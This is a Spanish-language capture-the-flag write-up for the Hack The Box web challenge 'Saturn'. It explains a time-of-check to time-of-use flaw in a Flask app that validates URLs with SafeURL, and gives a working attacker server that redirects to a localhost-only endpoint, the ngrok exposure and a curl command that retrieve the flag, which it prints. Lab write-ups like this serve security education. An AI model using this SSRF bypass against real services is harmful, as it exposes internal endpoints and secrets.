Saturn
3 minutos de lectura
Se nos proporciona el siguiente sitio web:

Además, tenemos el código fuente del servidor, que está en Flask (Python).
Análisis del código fuente
Este es el archivo app.py:
from flask import Flask, request, render_template
import requests
from safeurl import safeurl
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url']
try:
su = safeurl.SafeURL()
opt = safeurl.Options()
opt.enableFollowLocation().setFollowLocationLimit(0)
su.setOptions(opt)
su.execute(url)
except:
return render_template('index.html', error=f"Malicious input detected.")
r = requests.get(url)
return render_template('index.html', result=r.text)
return render_template('index.html')
@app.route('/secret')
def secret():
if request.remote_addr == '127.0.0.1':
flag = ""
with open('./flag.txt') as f:
flag = f.readline()
return render_template('secret.html', SECRET=flag)
else:
return render_template('forbidden.html'), 403
if __name__ == '__main__':
app.run(host="0.0.0.0", port=1337, threaded=True)
Como se puede ver, hay dos endpoints. Estamos interesados en /secret para obtener la flag. Sin embargo, el controlador del endpoint verifica que la petición se realiza desde 127.0.0.1.
Sin embargo, el endpoint / realizará una petición a una URL arbitraria:
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url']
# ...
r = requests.get(url)
return render_template('index.html', result=r.text)
return render_template('index.html')
Solo necesitamos omitir este fragmento de código:
try:
su = safeurl.SafeURL()
opt = safeurl.Options()
opt.enableFollowLocation().setFollowLocationLimit(0)
su.setOptions(opt)
su.execute(url)
except:
return render_template('index.html', error=f"Malicious input detected.")
El código anterior inspecciona la URL y la bloquea si hay una cabecera Location con una redirección. Además, las opciones predeterminadas bloquean las peticiones a 127.0.0.1. Mas información en SafeURL-Python.
Solución
La clave aquí es que SafeURL-Python verificará que la URL es segura y, de ser así, entonces se realiza otra petición utilizando requests.
TOCTOU hacia SSRF
Por lo tanto, tenemos una vulnerabilidad de time-of-check to time-of-use (TOCTOU). Esto significa que podemos desplegar un servidor que devuelva primero una respuesta válida (de modo que SafeURL-Python no la bloquea), y luego realiza cosas maliciosas (cuando la solicitud se realiza por requests, sin verificación).
Podemos escribir un servidor en Flask sencillo para esto, con una variable booleana para cambiar la respuesta una vez que pasa la comprobación:
#!/usr/bin/env python3
from flask import Flask, redirect
app = Flask(__name__)
check = True
@app.route('/')
def index():
global check
if check:
check = False
return 'asdf'
else:
check = True
return redirect('http://127.0.0.1:1337/secret')
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
Como se puede ver, primero enviaremos una respuesta válida y luego realizaremos una redirección a http://127.0.0.1:1337/secret para obtener la flag utilizando Server-Side Request Forgery (SSRF).
Ahora, necesitamos que este servidor sea accesible usando ngrok:
$ python3 solve.py
* Serving Flask app 'solve'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on http://127.0.0.1:5000
Press CTRL+C to quit
ngrok
Full request capture now available in your browser: https://ngrok.com/r/ti
Session Status online
Account Rocky (Plan: Free)
Version 3.8.0
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok-free.app -> http://localhost:5000
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Flag
En este punto, podemos enviar la siguiente petición al servidor del reto y obtener la flag:
$ curl 83.136.255.150:35824 -sd url=https://abcd-12-34-56-78.ngrok-free.app | grep -oE 'HTB{.*}'
HTB{Expl01t1ng_ssrfs_f0r_fun}
Como se esperaba, veremos dos peticiones en nuestro registro de servidor malicioso, que se debe a la vulnerabilidad de TOCTOU:
127.0.0.1 - - [] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [] "GET / HTTP/1.1" 302 -
